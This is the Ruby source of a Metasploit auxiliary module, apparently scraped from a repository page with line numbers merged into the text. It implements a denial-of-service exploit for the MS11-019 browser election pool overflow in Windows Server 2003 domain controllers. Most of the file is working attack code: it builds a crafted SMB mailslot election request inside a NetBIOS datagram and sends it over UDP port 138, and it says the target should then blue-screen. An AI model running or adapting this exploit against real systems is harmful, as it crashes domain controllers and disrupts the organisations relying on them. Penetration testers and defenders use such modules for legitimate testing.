Path: blob/master/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7# include Msf::Exploit::Remote::SMB::Client8include Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Microsoft Windows Browser Pool DoS',15'Description' => %q{16This module exploits a denial of service flaw in the Microsoft17Windows SMB service on versions of Windows Server 2003 that have been18configured as a domain controller. By sending a specially crafted election19request, an attacker can cause a pool overflow.2021The vulnerability appears to be due to an error handling a length value22while calculating the amount of memory to copy to a buffer. When there are23zero bytes left in the buffer, the length value is improperly decremented24and an integer underflow occurs. The resulting value is used in several25calculations and is then passed as the length value to an inline memcpy26operation.2728Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and29causes considerable damage to kernel heap memory. While theoretically possible,30it does not appear to be trivial to turn this vulnerability into remote (or31even local) code execution.32},33'References' => [34[ 'CVE', '2011-0654' ],35[ 'BID', '46360' ],36[ 'OSVDB', '70881' ],37[ 'MSB', 'MS11-019' ],38[ 'EDB', '16166' ],39[ 'URL', 'https://seclists.org/fulldisclosure/2011/Feb/285' ]40],41'Author' => [ 'Cupidon-3005', 'jduck' ],42'License' => MSF_LICENSE,43'Notes' => {44'Stability' => [CRASH_SERVICE_DOWN],45'SideEffects' => [],46'Reliability' => []47}48)49)5051register_options(52[53Opt::RPORT(138),54OptString.new('DOMAIN', [ true, 'The name of the domain that the target controls' ])55]56)57end5859def run60connect_udp61@client = Rex::Proto::SMB::Client.new(udp_sock)6263ip = Rex::Socket.source_address(datastore['RHOST'])64ip_src = Rex::Socket.resolv_nbo(ip, false)6566svc_src = "\x41\x41\x00" # pre-encoded?67name_src = Rex::Text.rand_text_alphanumeric(15) # 4+rand(10))6869svc_dst = "\x42\x4f\x00" # pre-encoded?70name_dst = datastore['DOMAIN']7172pipe = '\\MAILSLOT\\BROWSER'7374election =75"\x08" + # Election Request76"\x09" + # Election Version77"\xa8" + # election desire - Domain Master & WINS & NT78"\x0f" + # Browser Protocol Major Version79"\x01" + # Browser Protocol Minor Version80"\x20" + # Election OS (NT Server)81"\x1b\xe9\xa5\x00" + # Uptime82"\x00\x00\x00\x00" + # NULL... Padding?83# ("A" * 4) + "\x00"84Rex::Text.rand_text_alphanumeric(410) + "\x00"8586nbdghdr =87"\x11" + # DIRECT_GROUP datagram88"\x02" + # first and only fragment89[rand(0xffff)].pack('n') + # Transaction Id (DGM_ID)90ip_src +91"\x00\x8a" + # Source Port (138)92"\x00\xa7" + # DGM_LENGTH, patched in after93"\x00\x00" # PACKET_OFFSET9495nbdgs = nbdghdr +96half_ascii(name_src, svc_src) +97half_ascii(name_dst, svc_dst)9899# A Trans request for the mailslot100nbdgs << trans_mailslot(pipe, '', election)101102# Patch up the length (less the nb header)103nbdgs[0x0a, 2] = [nbdgs.length - nbdghdr.length].pack('n')104105print_status('Sending specially crafted browser election request..')106# print_status("\n" + Rex::Text.to_hex_dump(nbdgs))107udp_sock.put(nbdgs)108109print_status('The target should encounter a blue screen error now.')110111disconnect_udp112end113114# Perform a browser election request using the specified subcommand, parameters, and data115def trans_mailslot(pipe, param = '', body = '')116# Null-terminate the pipe parameter if needed117if (pipe[-1, 1] != "\x00")118pipe << "\x00"119end120121pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct122@client.smb_defaults(pkt['Payload']['SMB'])123124setup_count = 3125setup_data = [1, 0, 2].pack('v*')126127data = pipe + param + body128129base_offset = pkt.to_s.length + (setup_count * 2) - 4130param_offset = base_offset + pipe.length131data_offset = param_offset + param.length132133pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION134pkt['Payload']['SMB'].v['Flags1'] = 0x0135pkt['Payload']['SMB'].v['Flags2'] = 0x0136pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count137138pkt['Payload'].v['ParamCountTotal'] = param.length139pkt['Payload'].v['DataCountTotal'] = data.length140pkt['Payload'].v['ParamCountMax'] = 0141pkt['Payload'].v['DataCountMax'] = 0142143pkt['Payload'].v['ParamCount'] = param.length144pkt['Payload'].v['ParamOffset'] = param_offset if !param.empty?145pkt['Payload'].v['DataCount'] = body.length146pkt['Payload'].v['DataOffset'] = data_offset147pkt['Payload'].v['SetupCount'] = setup_count148pkt['Payload'].v['SetupData'] = setup_data149150pkt['Payload'].v['Payload'] = data151152exploit = pkt.to_s153154# Strip off the netbios header (thx, but no thx!)155exploit[4, exploit.length - 4]156end157158def half_ascii(name, svc)159ret = ' '160name.unpack('C*').each do |byte|161ret << [0x41 + (byte >> 4)].pack('C')162ret << [0x41 + (byte & 0xf)].pack('C')163end164left = 15 - name.length165if left > 0166ret << "\x43\x41" * left167end168169# In our case, svc is already encoded..170ret << svc171ret172end173end174175176